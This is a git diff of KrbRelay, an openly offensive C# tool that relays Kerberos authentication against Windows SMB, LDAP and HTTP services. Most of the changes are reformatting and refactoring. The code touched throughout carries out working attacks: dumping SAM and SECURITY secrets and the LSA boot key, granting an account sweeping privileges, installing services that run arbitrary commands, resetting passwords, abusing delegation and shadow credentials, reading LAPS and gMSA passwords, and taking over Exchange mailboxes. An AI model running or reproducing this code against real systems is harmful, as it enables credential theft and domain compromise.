- "SeCreateGlobalPrivilege",
- "SeTimeZonePrivilege",
- "SeCreateSymbolicLinkPrivilege",
- "SeChangeNotifyPrivilege",
- "SeDelegateSessionUserImpersonatePrivilege",
- "SeInteractiveLogonRight",
- "SeNetworkLogonRight",
- "SeBatchLogonRight",
- "SeRemoteInteractiveLogonRight"
- };
- status = LsaServiceHelper.AddAccountRights(rpc, lsaHandle, SIDHelper.CreateFromString(sid), adminGroup);
+ string[] adminGroup = new string[]
+ {
+ "SeSecurityPrivilege",
+ "SeBackupPrivilege",
+ "SeRestorePrivilege",
+ "SeSystemtimePrivilege",
+ "SeShutdownPrivilege",
+ "SeRemoteShutdownPrivilege",
+ "SeTakeOwnershipPrivilege",
+ "SeDebugPrivilege",
+ "SeSystemEnvironmentPrivilege",
+ "SeSystemProfilePrivilege",
+ "SeProfileSingleProcessPrivilege",
+ "SeIncreaseBasePriorityPrivilege",
+ "SeLoadDriverPrivilege",
+ "SeCreatePagefilePrivilege",
+ "SeIncreaseQuotaPrivilege",
+ "SeUndockPrivilege",
+ "SeManageVolumePrivilege",
+ "SeImpersonatePrivilege",
+ "SeCreateGlobalPrivilege",
+ "SeTimeZonePrivilege",
+ "SeCreateSymbolicLinkPrivilege",
+ "SeChangeNotifyPrivilege",
+ "SeDelegateSessionUserImpersonatePrivilege",
+ "SeInteractiveLogonRight",
+ "SeNetworkLogonRight",
+ "SeBatchLogonRight",
+ "SeRemoteInteractiveLogonRight"
+ };
+ status = LsaServiceHelper.AddAccountRights(
+ rpc,
+ lsaHandle,
+ SIDHelper.CreateFromString(sid),
+ adminGroup
+ );
Console.WriteLine("LsarAddAccountRights: {0}", status);
LsaServiceHelper.LsaClose(rpc, lsaHandle, out status);
}
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Smb/RemoteRegistry.cs b/KrbRelay/Clients/Attacks/Smb/RemoteRegistry.cs
index d24a1f8..e5b8b36 100644
--- a/KrbRelay/Clients/Attacks/Smb/RemoteRegistry.cs
+++ b/KrbRelay/Clients/Attacks/Smb/RemoteRegistry.cs
@@ -17,7 +17,14 @@ public static void secretsDump(SMB2Client smbClient, bool saveToPwd = false)
Console.WriteLine("[-] Could not start remoteregistry");
return;
}
- using (RPCCallHelper rpc = new RPCCallHelper(smbClient, RrpService.ServicePipeName, RrpService.ServiceInterfaceGuid, RrpService.ServiceVersion))
+ using (
+ RPCCallHelper rpc = new RPCCallHelper(
+ smbClient,
+ RrpService.ServicePipeName,
+ RrpService.ServiceInterfaceGuid,
+ RrpService.ServiceVersion
+ )
+ )
{
var status = rpc.BindPipe();
if (status != NTStatus.STATUS_SUCCESS)
@@ -43,20 +50,43 @@ public static void secretsDump(SMB2Client smbClient, bool saveToPwd = false)
StringBuilder scrambledKey = new StringBuilder();
foreach (var key in new string[] { "JD", "Skew1", "GBG", "Data" }) //,
{
- var hBootKey = RrpServiceHelper.BaseRegOpenKey(rpc, hKey, $"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}\x00", out status);
+ var hBootKey = RrpServiceHelper.BaseRegOpenKey(
+ rpc,
+ hKey,
+ $"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}\x00",
+ out status
+ );
var v = RrpServiceHelper.baseRegQueryInfoKey(rpc, hBootKey, out status);
scrambledKey.Append(v.lpClassOut.Value);
RrpServiceHelper.BaseRegCloseKey(rpc, hBootKey, out status);
}
RrpServiceHelper.BaseRegCloseKey(rpc, hKey, out status);
- byte[] scrambled = Helpers.StringToByteArray(scrambledKey.ToString());
- byte[] transforms = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 };
+ byte[] scrambled = Helpers.HexToByteArray(scrambledKey.ToString());
+ byte[] transforms = new byte[]
+ {
+ 0x8,
+ 0x5,
+ 0x4,
+ 0x2,
+ 0xb,
+ 0x9,
+ 0xd,
+ 0x3,
+ 0x0,
+ 0x6,
+ 0x1,
+ 0xc,
+ 0xe,
+ 0xa,
+ 0xf,
+ 0x7
+ };
byte[] bootKey = new byte[16];
for (int i = 0; i < 16; i++)
{
bootKey[i] = scrambled[transforms[i]];
}
- Console.WriteLine("[*] Bootkey: {0}", Helpers.ByteArrayToString(bootKey));
+ Console.WriteLine("[*] Bootkey: {0}", Helpers.ByteArrayToHex(bootKey));
Shares.copyFile(smbClient, "windows\\temp\\sam.tmp", true, out byte[] bsam);
Shares.copyFile(smbClient, "windows\\temp\\sec.tmp", true, out byte[] bsec);
@@ -83,4 +113,4 @@ public static void secretsDump(SMB2Client smbClient, bool saveToPwd = false)
}
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Smb/ServiceManager.cs b/KrbRelay/Clients/Attacks/Smb/ServiceManager.cs
index 89a8c30..2f9332b 100644
--- a/KrbRelay/Clients/Attacks/Smb/ServiceManager.cs
+++ b/KrbRelay/Clients/Attacks/Smb/ServiceManager.cs
@@ -10,7 +10,14 @@ internal class ServiceManager
{
public static bool startService(SMB2Client smbClient, string serviceName)
{
- using (RPCCallHelper rpc = new RPCCallHelper(smbClient, ScmrService.ServicePipeName, ScmrService.ServiceInterfaceGuid, ScmrService.ServiceVersion))
+ using (
+ RPCCallHelper rpc = new RPCCallHelper(
+ smbClient,
+ ScmrService.ServicePipeName,
+ ScmrService.ServiceInterfaceGuid,
+ ScmrService.ServiceVersion
+ )
+ )
{
var status = rpc.BindPipe();
if (status != NTStatus.STATUS_SUCCESS)
@@ -25,7 +32,12 @@ public static bool startService(SMB2Client smbClient, string serviceName)
Console.WriteLine("[-] Could open SCMR handle");
return false;
}
- var serviceHandle = ScmrServiceHelper.rOpenServiceW(rpc, lpScHandle, serviceName, out status);
+ var serviceHandle = ScmrServiceHelper.rOpenServiceW(
+ rpc,
+ lpScHandle,
+ serviceName,
+ out status
+ );
if (status != NTStatus.STATUS_SUCCESS)
{
ScmrServiceHelper.rCloseServiceHandle(rpc, lpScHandle, out var temp);
@@ -56,7 +68,14 @@ public static bool startService(SMB2Client smbClient, string serviceName)
public static void serviceInstall(SMB2Client smb2, string serviceName, string cmd)
{
- using (RPCCallHelper rpc = new RPCCallHelper(smb2, ScmrService.ServicePipeName, ScmrService.ServiceInterfaceGuid, ScmrService.ServiceVersion))
+ using (
+ RPCCallHelper rpc = new RPCCallHelper(
+ smb2,
+ ScmrService.ServicePipeName,
+ ScmrService.ServiceInterfaceGuid,
+ ScmrService.ServiceVersion
+ )
+ )
{
var status = rpc.BindPipe();
if (status != NTStatus.STATUS_SUCCESS)
@@ -70,7 +89,13 @@ public static void serviceInstall(SMB2Client smb2, string serviceName, string cm
Console.WriteLine("[-] Failed to open SCMR handle: {0}", status);
return;
}
- var newHandle = ScmrServiceHelper.rCreateServiceW(rpc, lpScHandle, $"{serviceName}\x00", cmd, out status);
+ var newHandle = ScmrServiceHelper.rCreateServiceW(
+ rpc,
+ lpScHandle,
+ $"{serviceName}\x00",
+ cmd,
+ out status
+ );
if (status != NTStatus.STATUS_SUCCESS)
{
Console.WriteLine("[-] Failed to create service: {0}", status);
@@ -93,4 +118,4 @@ public static void serviceInstall(SMB2Client smb2, string serviceName, string cm
}
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Smb/Shares.cs b/KrbRelay/Clients/Attacks/Smb/Shares.cs
index 4bd2049..7ed906e 100644
--- a/KrbRelay/Clients/Attacks/Smb/Shares.cs
+++ b/KrbRelay/Clients/Attacks/Smb/Shares.cs
@@ -14,11 +14,26 @@ public static void listDir(ISMBFileStore fileStore, string path = "")
{
object directoryHandle;
FileStatus fileStatus;
- var status = fileStore.CreateFile(out directoryHandle, out fileStatus, path, AccessMask.GENERIC_READ, SMBLibrary.FileAttributes.Directory, ShareAccess.Read | ShareAccess.Write, CreateDisposition.FILE_OPEN, CreateOptions.FILE_DIRECTORY_FILE, null);
+ var status = fileStore.CreateFile(
+ out directoryHandle,
+ out fileStatus,
+ path,
+ AccessMask.GENERIC_READ,
+ SMBLibrary.FileAttributes.Directory,
+ ShareAccess.Read | ShareAccess.Write,
+ CreateDisposition.FILE_OPEN,
+ CreateOptions.FILE_DIRECTORY_FILE,
+ null
+ );
if (status == NTStatus.STATUS_SUCCESS)
{
List queryDirectoryFileInformation;
- status = fileStore.QueryDirectory(out queryDirectoryFileInformation, directoryHandle, "*", FileInformationClass.FileDirectoryInformation);
+ status = fileStore.QueryDirectory(
+ out queryDirectoryFileInformation,
+ directoryHandle,
+ "*",
+ FileInformationClass.FileDirectoryInformation
+ );
status = fileStore.CloseFile(directoryHandle);
Console.WriteLine("Mode LastAccessTime Length Name");
Console.WriteLine("---- ------------- ------ ----");
@@ -26,14 +41,22 @@ public static void listDir(ISMBFileStore fileStore, string path = "")
{
if (file.FileInformationClass == FileInformationClass.FileDirectoryInformation)
{
- FileDirectoryInformation fileDirectoryInformation = (FileDirectoryInformation)file;
+ FileDirectoryInformation fileDirectoryInformation =
+ (FileDirectoryInformation)file;
- if (fileDirectoryInformation.FileName == "." || fileDirectoryInformation.FileName == "..")
+ if (
+ fileDirectoryInformation.FileName == "."
+ || fileDirectoryInformation.FileName == ".."
+ )
{
continue;
}
string mode = "";
- if (fileDirectoryInformation.FileAttributes.HasFlag(SMBLibrary.FileAttributes.Directory))
+ if (
+ fileDirectoryInformation.FileAttributes.HasFlag(
+ SMBLibrary.FileAttributes.Directory
+ )
+ )
{
mode = "d-----";
}
@@ -41,17 +64,40 @@ public static void listDir(ISMBFileStore fileStore, string path = "")
{
mode = "-a----";
}
- Console.WriteLine(String.Format("{0} {1,22} {2, -5} {3}", mode, fileDirectoryInformation.LastAccessTime, (fileDirectoryInformation.AllocationSize / 1024), fileDirectoryInformation.FileName));
+ Console.WriteLine(
+ String.Format(
+ "{0} {1,22} {2, -5} {3}",
+ mode,
+ fileDirectoryInformation.LastAccessTime,
+ (fileDirectoryInformation.AllocationSize / 1024),
+ fileDirectoryInformation.FileName
+ )
+ );
}
}
}
}
- public static bool readFile(SMB2Client smbClient, ISMBFileStore fileStore, string path, out byte[] content)
+ public static bool readFile(
+ SMB2Client smbClient,
+ ISMBFileStore fileStore,
+ string path,
+ out byte[] content
+ )
{
object fileHandle;
FileStatus fileStatus;
- var status = fileStore.CreateFile(out fileHandle, out fileStatus, path, AccessMask.GENERIC_READ | AccessMask.SYNCHRONIZE, SMBLibrary.FileAttributes.Normal, ShareAccess.Read, CreateDisposition.FILE_OPEN, CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, null);
+ var status = fileStore.CreateFile(
+ out fileHandle,
+ out fileStatus,
+ path,
+ AccessMask.GENERIC_READ | AccessMask.SYNCHRONIZE,
+ SMBLibrary.FileAttributes.Normal,
+ ShareAccess.Read,
+ CreateDisposition.FILE_OPEN,
+ CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT,
+ null
+ );
if (status == NTStatus.STATUS_SUCCESS)
{
using (System.IO.MemoryStream stream = new System.IO.MemoryStream())
@@ -60,8 +106,16 @@ public static bool readFile(SMB2Client smbClient, ISMBFileStore fileStore, strin
long bytesRead = 0;
while (true)
{
- status = fileStore.ReadFile(out data, fileHandle, bytesRead, (int)smbClient.MaxReadSize);
- if (status != NTStatus.STATUS_SUCCESS && status != NTStatus.STATUS_END_OF_FILE)
+ status = fileStore.ReadFile(
+ out data,
+ fileHandle,
+ bytesRead,
+ (int)smbClient.MaxReadSize
+ );
+ if (
+ status != NTStatus.STATUS_SUCCESS
+ && status != NTStatus.STATUS_END_OF_FILE
+ )
{
throw new Exception("Failed to read from file");
}
@@ -85,11 +139,22 @@ public static bool deleteFile(ISMBFileStore fileStore, string path)
{
object fileHandle;
FileStatus fileStatus;
- var status = fileStore.CreateFile(out fileHandle, out fileStatus, path, AccessMask.GENERIC_WRITE | AccessMask.DELETE | AccessMask.SYNCHRONIZE, SMBLibrary.FileAttributes.Normal, ShareAccess.None, CreateDisposition.FILE_OPEN, CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, null);
+ var status = fileStore.CreateFile(
+ out fileHandle,
+ out fileStatus,
+ path,
+ AccessMask.GENERIC_WRITE | AccessMask.DELETE | AccessMask.SYNCHRONIZE,
+ SMBLibrary.FileAttributes.Normal,
+ ShareAccess.None,
+ CreateDisposition.FILE_OPEN,
+ CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT,
+ null
+ );
if (status == NTStatus.STATUS_SUCCESS)
{
- FileDispositionInformation fileDispositionInformation = new FileDispositionInformation();
+ FileDispositionInformation fileDispositionInformation =
+ new FileDispositionInformation();
fileDispositionInformation.DeletePending = true;
status = fileStore.SetFileInformation(fileHandle, fileDispositionInformation);
bool deleteSucceeded = (status == NTStatus.STATUS_SUCCESS);
@@ -99,11 +164,26 @@ public static bool deleteFile(ISMBFileStore fileStore, string path)
return false;
}
- public static bool writeFile(SMB2Client smbClient, ISMBFileStore fileStore, string path, byte[] content)
+ public static bool writeFile(
+ SMB2Client smbClient,
+ ISMBFileStore fileStore,
+ string path,
+ byte[] content
+ )
{
object fileHandle;
FileStatus fileStatus;
- var status = fileStore.CreateFile(out fileHandle, out fileStatus, path, AccessMask.GENERIC_WRITE | AccessMask.SYNCHRONIZE, SMBLibrary.FileAttributes.Normal, ShareAccess.None, CreateDisposition.FILE_CREATE, CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, null);
+ var status = fileStore.CreateFile(
+ out fileHandle,
+ out fileStatus,
+ path,
+ AccessMask.GENERIC_WRITE | AccessMask.SYNCHRONIZE,
+ SMBLibrary.FileAttributes.Normal,
+ ShareAccess.None,
+ CreateDisposition.FILE_CREATE,
+ CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT,
+ null
+ );
if (status == NTStatus.STATUS_SUCCESS)
{
int writeOffset = 0;
@@ -118,7 +198,12 @@ public static bool writeFile(SMB2Client smbClient, ISMBFileStore fileStore, stri
Array.Resize(ref buffer, bytesRead);
}
int numberOfBytesWritten;
- status = fileStore.WriteFile(out numberOfBytesWritten, fileHandle, writeOffset, buffer);
+ status = fileStore.WriteFile(
+ out numberOfBytesWritten,
+ fileHandle,
+ writeOffset,
+ buffer
+ );
if (status != NTStatus.STATUS_SUCCESS)
{
throw new Exception("Failed to write to file");
@@ -132,7 +217,13 @@ public static bool writeFile(SMB2Client smbClient, ISMBFileStore fileStore, stri
return false;
}
- public static bool copyFile(SMB2Client smbClient, string path, bool delete, out byte[] content, string share = "c$")
+ public static bool copyFile(
+ SMB2Client smbClient,
+ string path,
+ bool delete,
+ out byte[] content,
+ string share = "c$"
+ )
{
ISMBFileStore fileStore = smbClient.TreeConnect(share, out var status);
if (!readFile(smbClient, fileStore, path, out content))
@@ -213,15 +304,16 @@ public static void smbConsole(SMB2Client smbClient, string share = "ipc$")
default:
Console.WriteLine(
- "Commands:\n" +
- "ls \n" +
- "cat \n" +
- "get - Download file\n" +
- "put - Upload file\n" +
- "rm - Delete file\n" +
- "shares - List smb shares\n" +
- "use - Switch smb share\n" +
- "exit\n");
+ "Commands:\n"
+ + "ls \n"
+ + "cat \n"
+ + "get - Download file\n"
+ + "put - Upload file\n"
+ + "rm - Delete file\n"
+ + "shares - List smb shares\n"
+ + "use - Switch smb share\n"
+ + "exit\n"
+ );
break;
}
if (exit)
@@ -261,4 +353,4 @@ public static void listShares(SMB2Client smbClient)
}
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Http.cs b/KrbRelay/Clients/Http.cs
index 49f9dd4..74ef2e4 100644
--- a/KrbRelay/Clients/Http.cs
+++ b/KrbRelay/Clients/Http.cs
@@ -13,19 +13,22 @@ public class Http
public static void Connect()
{
string endpoint = "";
- if (!string.IsNullOrEmpty(attacks["endpoint"]))
+ if (!string.IsNullOrEmpty(State.attacks["endpoint"]))
{
- endpoint = attacks["endpoint"].TrimStart('/');
+ endpoint = State.attacks["endpoint"].TrimStart('/');
}
HttpResponseMessage result;
- var cookie = string.Format("Negotiate {0}", Convert.ToBase64String(ticket));
+ var cookie = string.Format("Negotiate {0}", Convert.ToBase64String(State.ticket));
using (var message = new HttpRequestMessage(HttpMethod.Get, endpoint))
{
message.Headers.Add("Authorization", cookie);
message.Headers.Add("Connection", "keep-alive");
- message.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko");
+ message.Headers.Add(
+ "User-Agent",
+ "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko"
+ );
result = httpClient.SendAsync(message).Result;
}
@@ -40,38 +43,54 @@ public static void Connect()
if (h.Key == "Set-Cookie")
{
cookies = h.Value;
- Console.WriteLine("[*] Authentication Cookie;\n" + string.Join(";", h.Value));
+ Console.WriteLine(
+ "[*] Authentication Cookie;\n" + string.Join(";", h.Value)
+ );
}
}
try
{
- if (attacks.Keys.Contains("proxy"))
+ if (State.attacks.Keys.Contains("proxy"))
{
- Attacks.Http.ProxyServer.Start(httpClient, httpClient.BaseAddress.ToString());
+ Attacks.Http.ProxyServer.Start(
+ httpClient,
+ httpClient.BaseAddress.ToString()
+ );
}
- if (attacks.Keys.Contains("adcs"))
+ if (State.attacks.Keys.Contains("adcs"))
{
- Attacks.Http.ADCS.requestCertificate(httpClient, relayedUser, relayedUserDomain, attacks["adcs"]);
+ Attacks.Http.ADCS.requestCertificate(
+ httpClient,
+ State.relayedUser,
+ State.relayedUserDomain,
+ State.attacks["adcs"]
+ );
}
- if (attacks.Keys.Contains("ews-delegate"))
+ if (State.attacks.Keys.Contains("ews-delegate"))
{
- Attacks.Http.EWS.delegateMailbox(httpClient, relayedUser, attacks["ews-delegate"]);
+ Attacks.Http.EWS.delegateMailbox(
+ httpClient,
+ State.relayedUser,
+ State.attacks["ews-delegate"]
+ );
}
- if (attacks.Keys.Contains("ews-search"))
+ if (State.attacks.Keys.Contains("ews-search"))
{
- Attacks.Http.EWS.readMailbox(httpClient, "inbox", attacks["ews-search"]);
+ Attacks.Http.EWS.readMailbox(
+ httpClient,
+ "inbox",
+ State.attacks["ews-search"]
+ );
}
}
catch (Exception e)
{
Console.WriteLine("[-] {0}", e);
}
-
- Environment.Exit(0);
}
else
{
@@ -80,8 +99,9 @@ public static void Connect()
//Console.WriteLine(header.Key);
if (header.Key == "WWW-Authenticate")
{
- apRep1 = Convert.FromBase64String(header.Value.First().Replace("Negotiate ", ""));
- Console.WriteLine("[*] apRep1: {0}", Helpers.ByteArrayToString(apRep1));
+ State.UpdateApRep1(Convert.FromBase64String(
+ header.Value.First().Replace("Negotiate ", "")
+ ));
}
}
}
@@ -90,18 +110,26 @@ public static void Connect()
internal class TrustAll : ICertificatePolicy
{
- public TrustAll()
- {
- }
+ public TrustAll() { }
- public bool CheckValidationResult(ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem)
+ public bool CheckValidationResult(
+ ServicePoint srvPoint,
+ X509Certificate certificate,
+ WebRequest request,
+ int certificateProblem
+ )
{
return true;
}
- public bool CheckValidationResult(ServicePoint srvPoint, System.Security.Cryptography.X509Certificates.X509Certificate certificate, WebRequest request, int certificateProblem)
+ public bool CheckValidationResult(
+ ServicePoint srvPoint,
+ System.Security.Cryptography.X509Certificates.X509Certificate certificate,
+ WebRequest request,
+ int certificateProblem
+ )
{
return true;
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Ldap.cs b/KrbRelay/Clients/Ldap.cs
index e07ed90..c80803b 100644
--- a/KrbRelay/Clients/Ldap.cs
+++ b/KrbRelay/Clients/Ldap.cs
@@ -1,8 +1,6 @@
using System;
using System.Linq;
using System.Runtime.InteropServices;
-using static KrbRelay.Natives;
-using static KrbRelay.Program;
namespace KrbRelay.Clients
{
@@ -10,70 +8,72 @@ public class Ldap
{
public static void Connect()
{
- //create berval struct with the kerberos ticket
- var sTicket = new SecBuffer(ticket);
- var berval = new berval
- {
- bv_len = sTicket.cbBuffer,
- bv_val = sTicket.pvBuffer
- };
+ // create berval struct with the kerberos ticket
+
+ var buffer = new SecurityBuffer(State.ticket);
+ var berval = new berval { bv_len = buffer.Count, bv_val = buffer.Token };
+
var bervalPtr = Marshal.AllocHGlobal(Marshal.SizeOf(berval));
Marshal.StructureToPtr(berval, bervalPtr, false);
- var bind = ldap_sasl_bind(
- ld,
+
+ var bind = Interop.ldap_sasl_bind(
+ State.ld,
"",
"GSS-SPNEGO", // GSS-SPNEGO / GSSAPI
bervalPtr,
IntPtr.Zero,
IntPtr.Zero,
- out IntPtr servresp);
- Console.WriteLine("[*] bind: {0}", bind);
- ldap_get_option(ld, 0x0031, out int value);
+ out IntPtr servresp
+ );
+
+ Console.WriteLine("[*] ldap_sasl_bind: {0}", (LdapStatus)bind);
+
+ Interop.ldap_get_option(State.ld, 0x0031, out int value);
Console.WriteLine("[*] ldap_get_option: {0}", (LdapStatus)value);
- if ((LdapStatus)value == LdapStatus.LDAP_SUCCESS)
+ if ((LdapStatus)value == LdapStatus.Success)
{
Console.WriteLine("[+] LDAP session established");
try
{
- if (attacks.Keys.Contains("console"))
+ if (State.attacks.Keys.Contains("console"))
{
- ldapConsole(ld, attacks["console"]);
+ ldapConsole(State.ld, State.attacks["console"]);
}
- if (attacks.Keys.Contains("add-groupmember"))
+ if (State.attacks.Keys.Contains("add-groupmember"))
{
- string arg1 = attacks["add-groupmember"].Split(new[] { ' ' }, 2)[0];
- string arg2 = attacks["add-groupmember"].Split(new[] { ' ' }, 2)[1];
- Attacks.Ldap.addGroupMember.attack(ld, arg1, arg2);
+ string arg1 = State.attacks["add-groupmember"].Split(new[] { ' ' }, 2)[0];
+ string arg2 = State.attacks["add-groupmember"].Split(new[] { ' ' }, 2)[1];
+ Attacks.Ldap.AddGroupMember.attack(State.ld, arg1, arg2);
}
- if (attacks.Keys.Contains("reset-password"))
+ if (State.attacks.Keys.Contains("reset-password"))
{
- string arg1 = attacks["reset-password"].Split(new[] { ' ' }, 2)[0];
- string arg2 = attacks["reset-password"].Split(new[] { ' ' }, 2)[1];
- Attacks.Ldap.setPassword.attack(ld, arg1, arg2);
+ string arg1 = State.attacks["reset-password"].Split(new[] { ' ' }, 2)[0];
+ string arg2 = State.attacks["reset-password"].Split(new[] { ' ' }, 2)[1];
+ Attacks.Ldap.SetPassword.attack(State.ld, arg1, arg2);
}
- if (attacks.Keys.Contains("rbcd"))
+ if (State.attacks.Keys.Contains("rbcd"))
{
- string arg1 = attacks["rbcd"].Split(new[] { ' ' }, 2)[0];
- string arg2 = attacks["rbcd"].Split(new[] { ' ' }, 2)[1];
- Attacks.Ldap.RBCD.attack(ld, arg1, arg2);
+ string arg1 = State.attacks["rbcd"].Split(new[] { ' ' }, 2)[0];
+ string arg2 = State.attacks["rbcd"].Split(new[] { ' ' }, 2)[1];
+ Attacks.Ldap.RBCD.attack(State.ld, arg1, arg2);
}
- if (attacks.Keys.Contains("shadowcred"))
+ if (State.attacks.Keys.Contains("shadowcred"))
{
- string arg1 = relayedUser;
- if (!string.IsNullOrEmpty(attacks["shadowcred"]))
- arg1 = attacks["shadowcred"];
+ string arg1 = State.relayedUser;
+ if (!string.IsNullOrEmpty(State.attacks["shadowcred"]))
+ arg1 = State.attacks["shadowcred"];
- Attacks.Ldap.ShadowCredential.attack(ld, arg1);
+ Attacks.Ldap.ShadowCredential.attack(State.ld, arg1);
}
- if (attacks.Keys.Contains("laps"))
+ if (State.attacks.Keys.Contains("laps"))
{
- Attacks.Ldap.LAPS.read(ld, attacks["laps"]);
+ Attacks.Ldap.LAPS.read(State.ld, State.attacks["laps"]);
}
- if (attacks.Keys.Contains("gmsa"))
+ if (State.attacks.Keys.Contains("gmsa"))
{
- Attacks.Ldap.gMSA.read(ld, attacks["gmsa"]);
+ Attacks.Ldap.gMSA.read(State.ld, State.attacks["gmsa"]);
}
}
catch (Exception e)
@@ -81,13 +81,14 @@ public static void Connect()
Console.WriteLine("[-] {0}", e);
}
- ldap_unbind(ld);
- Environment.Exit(0);
+ Interop.ldap_unbind(State.ld);
+
+ return;
}
- if ((LdapStatus)value != LdapStatus.LDAP_SASL_BIND_IN_PROGRESS)
+
+ if ((LdapStatus)value != LdapStatus.SaslBindInProgress)
{
Console.WriteLine("[-] Ldap failed");
- Environment.Exit(0);
}
else
{
@@ -95,8 +96,7 @@ public static void Connect()
berval msgidp2 = (berval)Marshal.PtrToStructure(servresp, typeof(berval));
byte[] msgidbytes = new byte[msgidp2.bv_len];
Marshal.Copy(msgidp2.bv_val, msgidbytes, 0, msgidp2.bv_len);
- apRep1 = msgidbytes;
- Console.WriteLine("[*] apRep1: {0}", Helpers.ByteArrayToString(apRep1));
+ State.UpdateApRep1(msgidbytes);
}
}
@@ -130,11 +130,11 @@ public static void ldapConsole(IntPtr ld, string optional = "")
break;
case "reset-password":
- Attacks.Ldap.setPassword.attack(ld, arg1, arg2);
+ Attacks.Ldap.SetPassword.attack(ld, arg1, arg2);
break;
case "add-groupmember":
- Attacks.Ldap.addGroupMember.attack(ld, arg1, arg2);
+ Attacks.Ldap.AddGroupMember.attack(ld, arg1, arg2);
break;
case "add-acl":
@@ -142,7 +142,7 @@ public static void ldapConsole(IntPtr ld, string optional = "")
case "rm-acl":
break;
-
+
case "shadowcred":
if (string.IsNullOrEmpty(arg1))
{
@@ -201,4 +201,4 @@ public static void ldapConsole(IntPtr ld, string optional = "")
}
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Rpc.cs b/KrbRelay/Clients/Rpc.cs
index d932381..3e3815a 100644
--- a/KrbRelay/Clients/Rpc.cs
+++ b/KrbRelay/Clients/Rpc.cs
@@ -4,4 +4,4 @@ internal class Rpc
{
//https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/main/NtApiDotNet/Win32/Rpc/Transport
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Smb.cs b/KrbRelay/Clients/Smb.cs
index 4e4a479..50b802d 100644
--- a/KrbRelay/Clients/Smb.cs
+++ b/KrbRelay/Clients/Smb.cs
@@ -8,33 +8,37 @@ public class Smb
{
public static void Connect()
{
- apRep1 = smbClient.Login(ticket, out bool success);
+ State.UpdateApRep1(smbClient.Login(State.ticket, out bool success));
+
if (success)
{
Console.WriteLine("[+] SMB session established");
try
{
- if (attacks.Keys.Contains("console"))
+ if (State.attacks.Keys.Contains("console"))
{
Attacks.Smb.Shares.smbConsole(smbClient);
}
- if (attacks.Keys.Contains("list"))
+ if (State.attacks.Keys.Contains("list"))
{
Attacks.Smb.Shares.listShares(smbClient);
}
- if (attacks.Keys.Contains("add-privileges"))
+ if (State.attacks.Keys.Contains("add-privileges"))
{
- Attacks.Smb.LSA.AddAccountRights(smbClient, attacks["add-privileges"]);
+ Attacks.Smb.LSA.AddAccountRights(
+ smbClient,
+ State.attacks["add-privileges"]
+ );
}
- if (attacks.Keys.Contains("secrets"))
+ if (State.attacks.Keys.Contains("secrets"))
{
Attacks.Smb.RemoteRegistry.secretsDump(smbClient, false);
}
- if (attacks.Keys.Contains("service-add"))
+ if (State.attacks.Keys.Contains("service-add"))
{
- string arg1 = attacks["service-add"].Split(new[] { ' ' }, 2)[0];
- string arg2 = attacks["service-add"].Split(new[] { ' ' }, 2)[1];
+ string arg1 = State.attacks["service-add"].Split(new[] { ' ' }, 2)[0];
+ string arg2 = State.attacks["service-add"].Split(new[] { ' ' }, 2)[1];
Attacks.Smb.ServiceManager.serviceInstall(smbClient, arg1, arg2);
}
}
@@ -45,12 +49,11 @@ public static void Connect()
smbClient.Logoff();
smbClient.Disconnect();
- Environment.Exit(0);
}
else
{
- Console.WriteLine("[*] apRep1: {0}", Helpers.ByteArrayToString(apRep1));
+ Console.WriteLine("[*] apRep1: {0}", Helpers.ByteArrayToHex(State.apRep1));
}
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/IStorage/IEnumSTATSTG.cs b/KrbRelay/Com/IStorage/IEnumSTATSTG.cs
similarity index 100%
rename from KrbRelay/IStorage/IEnumSTATSTG.cs
rename to KrbRelay/Com/IStorage/IEnumSTATSTG.cs
diff --git a/KrbRelay/IStorage/ILockBytes.cs b/KrbRelay/Com/IStorage/ILockBytes.cs
similarity index 100%
rename from KrbRelay/IStorage/ILockBytes.cs
rename to KrbRelay/Com/IStorage/ILockBytes.cs
diff --git a/KrbRelay/IStorage/IMarshal.cs b/KrbRelay/Com/IStorage/IMarshal.cs
similarity index 100%
rename from KrbRelay/IStorage/IMarshal.cs
rename to KrbRelay/Com/IStorage/IMarshal.cs
diff --git a/KrbRelay/IStorage/IStorage.cs b/KrbRelay/Com/IStorage/IStorage.cs
similarity index 100%
rename from KrbRelay/IStorage/IStorage.cs
rename to KrbRelay/Com/IStorage/IStorage.cs
diff --git a/KrbRelay/IStorage/IStream.cs b/KrbRelay/Com/IStorage/IStream.cs
similarity index 100%
rename from KrbRelay/IStorage/IStream.cs
rename to KrbRelay/Com/IStorage/IStream.cs
diff --git a/KrbRelay/IStorage/Ole32.cs b/KrbRelay/Com/IStorage/Ole32.cs
similarity index 100%
rename from KrbRelay/IStorage/Ole32.cs
rename to KrbRelay/Com/IStorage/Ole32.cs
diff --git a/KrbRelay/IStorage/StandardActivator.cs b/KrbRelay/Com/IStorage/StandardActivator.cs
similarity index 100%
rename from KrbRelay/IStorage/StandardActivator.cs
